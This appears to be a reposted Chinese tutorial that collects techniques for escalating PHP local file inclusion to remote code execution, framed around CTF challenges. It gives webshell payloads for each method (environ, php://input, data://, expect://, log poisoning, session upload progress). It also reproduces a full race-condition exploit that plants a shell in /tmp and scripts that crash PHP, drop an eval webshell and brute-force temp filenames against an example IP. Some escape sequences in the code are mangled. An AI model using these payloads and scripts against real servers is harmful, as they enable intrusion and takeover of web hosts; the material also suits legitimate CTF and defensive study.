LFI to RCE

news2025/4/19 1:36:20

LFI不止可以来读取文件,还能用来RCE

在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势

1. /proc/self/environ 利用

条件:目标能读取 /proc/self/environ,并且网页中存在LFI点

利用方式

  • 修改请求的 User-Agent 为一句 PHP 代码,如:<?php system($_GET['cmd']); ?>
  • 然后访问 LFI 点加载 /proc/self/environ,就能执行那段代码!

小tips

  • 这个文件保存的是进程的环境变量,其中包含HTTP请求头参数
  • 通常需要Apache、Nginx等没有过滤请求头才可以利用

2. /proc/self/fd/X 利用

条件:目标能读取 /proc/self/fd/X,其中X为文件描述符编号(比如1、2、3)

利用方式

  • 将 PHP 代码注入到 Referer 或报错信息中
  • LFI 包含某个文件描述符,就可以 RCE

区别点

  • fd 是系统文件描述符的软连接,直接指向某些打开的文件流
  • 可以变通绕过 environ 不可读的情况

3. php://filter 利用

目标:文件读取(不是RCE)

用法

php


复制编辑
php://filter/read=convert.base64-encode/resource=filename

说明

  • 可以读取任意文件,并以 Base64 返回
  • 不依赖于 allow_url_include 等配置

用途

  • 阅读源码、配置文件、敏感信息~不是直接RCE但常用来辅助分析!

4. php://input 利用

条件

  • 需要 allow_url_include=On
  • 页面使用 include($_GET['file']) 等方式包含

利用方式

  • 将 PHP 代码写在请求体中
  • LFI 引用 php://input 就会执行代码啦!
POST /lfi.php?file=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded

<?php system($_GET['cmd']); ?>

5. data:// 协议

条件

  • 需要开启 allow_url_fopenallow_url_include

利用方式

  • 把 PHP 代码直接塞进 URL,例如:
data://text/plain,<?php system($_GET['cmd']); ?>

或者 Base64 编码

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8+

6. expect:// 协议

条件

  • 需要安装 expect 扩展
  • 并开启 allow_url_include=On

利用方式

expect://ls -al /var/www/html

原理:通过 expect 触发命令执行

7. 日志包含(Log Poisoning)

方式1:SSH 日志

需要有/var/log/auth.log的读取权限

  • 连接ssh时输入ssh `<?php phpinfo(); ?>`@192.168.211.146
  • php代码被写入 /var/log/auth.log
  • 然后 LFI 包含这个日志文件

方式2:Apache 日志

需要有/var/log/auth.log的读取权限

  • 发送请求把 PHP 代码写入 access.log
  • 通过 LFI 包含实现 RCE

注意

  • 日志太大可能超时,返回 500

8. 利用 phpinfo() 泄漏临时文件名

原理

  • 上传文件会被存到 /tmp/phpXXXXXX 临时文件
  • phpinfo() 会输出这个路径!
  • 在文件被删除前包含它,就能RCE~

常用组合

  1. 用上传点上传带 payload 的文件
  2. phpinfo() 泄露路径
  3. LFI 包含它,实现代码执行!

这里要写exp进行条件竞争

https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf 中的exp:

#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%sr
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """+padding+"""r
HTTP_ACCEPT_LANGUAGE: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script
#     LFIREQ="""GET /lfi.php?file=%s%%00 HTTP/1.1r
# User-Agent: Mozilla/4.0r
# Proxy-Connection: Keep-Aliver
# Host: %sr
# r
# r
# """
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
    return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s2.connect((host, port))
    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt")
        fn = d[i+17:i+31]
        # print fn
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()
    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args
    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "nGot it! Shell created in /tmp/g"
                    self.event.set()
            except socket.error:
                return
def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0rnrn"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256
def main():
    print "LFI With PHPInfo()"
    print "-=" * 30
    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)
    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()
    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()
    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()
    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot! m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "nTelling threads to shutdown..."
        e.set()
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

9. PHP 崩溃保留临时文件

php Segfault

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

1. php < 7.2

  • php://filter/string.strip_tags/resource=/etc/passwd

2. php7 老版本通杀

  • php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

新版本该漏洞已被修复

包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce

exp来自LFItoRCE利用总结-安全KER - 安全资讯平台:

# -*- coding: utf-8 -*-
# php崩溃 生成大量临时文件

import requests
import string

def upload_file(url, file_content):
    files = {'file': ('daolgts.jpg', file_content, 'image/jpeg')}
    try:
        requests.post(url, files=files)
    except Exception as e:
        print e

charset = string.digits+string.letters
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)

url="http://192.168.211.146/lfi.php"
parameter="file"
payload1="php://filter/string.strip_tags/resource=/etc/passwd"
payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
lfi_url = url+"?"+parameter+"="+payload1
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
    print "[+] %d / %d" % (i, times)
    upload_file(lfi_url, file_content)

爆破tmp文件名

然后爆破临时文件名来包含

# -*- coding: utf-8 -*-
import requests
import string

charset = string.digits + string.letters
base_url="http://192.168.211.146/lfi.php"
parameter="file"

for i in charset:
    for j in charset:
        for k in charset:
            for l in charset:
                for m in charset:
                    for n in charset:
                        filename = i + j + k + l + m + n
                        url = base_url+"?"+parameter+"=/tmp/php"+filename
                        print url
                        try:
                            response = requests.get(url)
                            if 'success' in response.content:
                                print "[+] Include success!"
                                print "url:"+url
                                exit()
                        except Exception as e:
                            print e

10. 利用 Session 上传进度

SESSION_UPLOAD_PROGRESS 的利用可以看我前面这个文章

原理

  • PHP支持 session 上传进度记录
  • 会将数据保存在 session 文件中,路径一般是 /var/lib/php/sessions/sess_XXXXXX
  • 如果你能构造带有 PHP 代码的 progress 字段内容,就可以通过包含 session 来 RCE!

利用方式

  1. 构造上传请求,添加:
PHP_SESSION_UPLOAD_PROGRESS=<?php system($_GET['cmd']); ?>
  1. 设置 Cookie: PHPSESSID=123456
  2. LFI 包含 /var/lib/php/sessions/sess_123456

11. LFI自动化利用工具

  • LFISuite: 全自动本地文件包含漏洞利用工具-Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner

会自动扫描利用以下漏洞,并且获取到shell

  • /proc/self/environ
  • php://filter
  • php://input
  • /proc/self/fd
  • access log
  • phpinfo
  • data://
  • expect://

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2337643.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

云原生(Cloud Native)的详解、开发流程及同类软件对比

以下是云原生&#xff08;Cloud Native&#xff09;的详解、开发流程及同类软件对比&#xff1a; 一、云原生核心概念 定义&#xff1a; 云原生&#xff08;Cloud Native&#xff09;是基于云环境设计和运行应用程序的方法论&#xff0c;强调利用云平台的弹性、分布式和自动化…

学习笔记:减速机工作原理

学习笔记&#xff1a;减速机工作原理 一、减速机图片二、减速比概念三、减速机的速比与扭矩之间的关系四、题外内容--电机扭矩 一、减速机图片 二、减速比概念 即减速装置的传动比&#xff0c;是传动比的一种&#xff0c;是指减速机构中&#xff0c;驱动轴与被驱动轴瞬时输入速…

《UE5_C++多人TPS完整教程》学习笔记36 ——《P37 拾取组件(Pickup Widget)》

本文为B站系列教学视频 《UE5_C多人TPS完整教程》 —— 《P37 拾取组件&#xff08;Pickup Widget&#xff09;》 的学习笔记&#xff0c;该系列教学视频为计算机工程师、程序员、游戏开发者、作家&#xff08;Engineer, Programmer, Game Developer, Author&#xff09; Steph…

《空间复杂度(C语言)》

文章目录 前言一、什么是空间复杂度&#xff1f;通俗理解&#xff1a; 二、空间复杂度的数学定义三、常见空间复杂度举例&#xff08;含C语言代码&#xff09;&#x1f539; O(1)&#xff1a;常数空间&#x1f539; O(n)&#xff1a;线性空间&#x1f539; O(n^2)&#xff1a;平…

智能合约安全审计平台——以太坊虚拟机安全沙箱

目录 以太坊虚拟机安全沙箱 —— 理论、设计与实战1. 引言2. 理论背景与安全原理2.1 以太坊虚拟机(EVM)概述2.2 安全沙箱的基本概念2.3 安全证明与形式化验证3. 系统架构与模块设计3.1 模块功能说明3.2 模块之间的数据流与安全性4. 安全性与密码学考量4.1 密码学保障在沙箱中…

【MCP教程】Claude Desktop 如何连接部署在远程的remote mcp server服务器(remote host)

前言 最近MCP特别火热&#xff0c;笔者自己也根据官方文档尝试了下。 官方文档给的Demo是在本地部署一个weather.py&#xff0c;然后用本地的Claude Desktop去访问该mcp服务器&#xff0c;从而完成工具的调用&#xff1a; 但是&#xff0c;问题来了&#xff0c;Claude Deskto…

多个路由器互通(静态路由)无单臂路由(简单版)

多个路由器互通&#xff08;静态路由&#xff09;无单臂路由&#xff08;简单版&#xff09; 开启端口并配ip地址 维护1 Router>en Router#conf t Router(config)#int g0/0 Router(config-if)#no shutdown Router(config-if)#ip address 192.168.10.254 255.255.255.0 Ro…

OpenCV 图形API(38)图像滤波-----Sobel 算子操作函数Sobel()

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 cv::gapi::Sobel 函数是 OpenCV 的 G-API 模块中用于执行 Sobel 算子操作的一个函数&#xff0c;主要用于图像的边缘检测。Sobel 算子通过计算图…

windows系统安装驱动、cuda和cudnn

一、首先在自己的电脑里安装了nvidia的独立显卡 显卡的查找方式&#xff1a; CtrlShiftEsc打开任务管理器&#xff0c;点击性能&#xff0c;点击GPU 0查看显卡型号&#xff0c;如下图所示&#xff1a; 只要电脑中有nvidia的独立显卡&#xff0c;就可以暗转显卡驱动、cuda和cu…

嵌入式开发--STM32软件和硬件CRC的使用--续篇

本文是《嵌入式开发–STM32软件和硬件CRC的使用》的续篇&#xff0c;又踩到一个坑&#xff0c;发出来让大家避一下坑。 按照G0系列的设置&#xff0c;得出错误的结果 前文对应的是STM32G0系列&#xff0c;今天在用STM32G4系列时&#xff0c;按照前文的设置&#xff0c;用硬件…

【Git】git的简单使用

文章目录 1. 基础概念2. 简单使用2.1 git配置2.1.1 git的配置文件2.1.2 .gitignore文件 2.2 创建仓库2.2.1 创建本地仓库2.2.2 github创建远程仓库step1&#xff1a;github新建一个代码仓step2&#xff1a;创建密钥远程仓库相关指令2.2.3 本地仓库 关联 远程仓库 2.3 分支2.3.1…

[Web 安全] Web 信息收集 —— 信息收集流程

&#x1f31f; 想系统化学习 Web 渗透&#xff1f;看看这个&#xff1a;[Web 安全] Web 安全攻防 学习手册 提示&#xff1a;本章不涉及任何具体信息收集技术&#xff0c;仅仅是讲解收集这些信息我能干啥&#xff0c;以及如何才能比较全面的收集信息。 0x01&#xff1a;信息收…

内部聊天软件,BeeWorks-安全的企业内部通讯软件

企业在享受数据便利的同时&#xff0c;如何保障企业数据安全已经成为无法回避的重要课题。BeeWorks作为一款专为企业设计的内部通讯软件&#xff0c;通过全链路的安全能力升维&#xff0c;为企业提供了一个安全、高效、便捷的沟通协作平台&#xff0c;全面保障企业数据安全。 …

应用篇02-镜头标定(上)

本节主要介绍相机的标定方法&#xff0c;包括其内、外参数的求解&#xff0c;以及如何使用HALCON标定助手实现标定。 计算机视觉——相机标定(Camera Calibration)_摄像机标定-CSDN博客 1. 原理 本节介绍与相机标定相关的理论知识&#xff0c;不一定全&#xff0c;可以参考相…

【UE5 C++】“ProceduralMeshComponent”的使用记录

效果 如下所示&#xff0c;通过“ProceduralMeshComponent”创建了一个自定义形状的Mesh&#xff0c;并且该Mesh包含碰撞信息&#xff0c;然后2s后更新Mesh形状。 步骤 1. 在“xxx.Build.cs”中引入“ProceduralMeshComponent”模块 2. 新建一个Actor类&#xff0c;这里命名为…

(leetcode算法题)309. 买卖股票的最佳时机含冷冻期

按照题目要求&#xff0c;研究对象是最后一天结束后获得的最大利润 那么就可以把问题拆分成 第 1 天结束后获得的最大利润&#xff0c; 第 2 天结束后获得的最大利润&#xff0c; 第 i 天结束后获得的最大利润&#xff0c; 由于规则中强调不能同时参与多笔交易&#xff0c…

Chrome漏洞可窃取数据并获得未经授权的访问权限

在发现两个关键漏洞后,谷歌发布了Chrome浏览器的紧急安全更新。这些漏洞可能允许攻击者窃取敏感数据并未经授权访问用户系统。 这些缺陷被识别为CVE-2025-3619和CVE-2025-3620,在Windows和Mac的135.0.7049.95/.96之前影响Chrome版本,影响Linux的135.0.7049.95/.96。该更新将在…

.net core 项目快速接入Coze智能体-开箱即用-全局说明

目录 一、Coze智能体的核心价值 二、开箱即用-效果如下 三 流程与交互设计 为什么要分析意图&#xff0c;而不是全部交由AI处理。 四 接入前的准备工作 五&#xff1a;代码实现----字节Coze 签署 JWT和获取Token .net core 项目快速接入Coze智能体-开箱即用 .net core快…

风丘年度活动:2025年横滨汽车工程展览会

| 展会简介&#xff1a; 2025年横滨汽车工程展览会&#xff0c;是由日本汽车工程师学会&#xff08;JSAE&#xff09;精心主办的一场行业盛会。预计届时将汇聚超550家参展商&#xff0c;设置1300个展位&#xff0c;展览面积超过20000平方米。展会受众广泛&#xff0c;面向汽车…

Redis线上操作最佳实践有哪些?

大家好&#xff0c;我是锋哥。今天分享关于【Redis线上操作最佳实践有哪些?】面试题。希望对大家有帮助&#xff1b; Redis线上操作最佳实践有哪些? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 在使用 Redis 时&#xff0c;尤其是在生产环境中&#xff0c;合理…